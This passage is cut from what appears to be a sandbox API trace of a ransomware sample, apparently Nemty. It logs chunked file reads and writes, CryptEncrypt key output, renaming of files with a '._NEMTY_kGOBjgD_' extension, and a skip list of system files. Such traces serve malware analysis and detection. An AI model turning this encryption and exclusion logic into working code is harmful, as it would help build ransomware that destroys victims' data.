Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.769] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.769] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.883] CloseHandle (hObject=0xffffffff) returned 0 [0139.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0139.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340440 [0139.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png._nemty_kgobjgd_")) returned 0 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0139.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.883] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b84a231, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0139.883] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".") returned 1 [0139.883] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="..") returned 1 [0139.883] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="...") returned 1 [0139.883] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="windows") returned -1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="$RECYCLE.BIN") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="rsa") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="NTDETECT.COM") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="ntldr") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="MSDOS.SYS") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="IO.SYS") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="boot.ini") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="boot.ini") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="ntuser.dat") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="desktop.ini") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="CONFIG.SYS") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="RECYCLER") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="BOOTSECT.BAK") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="bootmgr") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="programdata") returned 1 [0139.884] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="appdata") returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0139.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0139.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0139.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0139.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0139.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ed08, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0139.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340120 [0139.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0139.885] Sleep (dwMilliseconds=0x5) [0139.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7086fb0, dwHighDateTime=0x1d561e8)) [0139.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7086fb0, dwHighDateTime=0x1d561e8)) [0139.899] GetLastError () returned 0x5 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.899] GetLastError () returned 0x5 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.899] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401f8 [0139.899] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401f8, pcchString=0x653e91c | out: pszString="iFfVUaUoK7dPQlVThXjhsAzvnz6XEBFU9gMkfLzEGVpp9i+58tMxdj9yt1B284aa\r\nzB8M5uTxoioBAF8BuTG/SuYzEwWhfxvuarI+Hu2qb/iAXv+jqWKuun8S4UEvt3Xk\r\nir2yK3gxTqc8By0PrXDm1gNudZR0GGYlg287lTOyKAs9zOpF1dkF5MmV6Z34UMYx\r\nxE6u7jIxOECX91o31PLfPndCCFm4dABP91ZrkanBJ9VqZXCqogI35WkUHaxJLHVk\r\npQWaTKPBJmaVlwGKYZ9aE6rlf8UY0Zs5+xlY2PBPHC6EEjEC9rwUp8gXiEj9tHil\r\n7daapK4uYst2qvDftIb8Nw==\r\n", pcchString=0x653e91c) returned 1 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0139.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401f8 [0139.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.899] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.899] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, 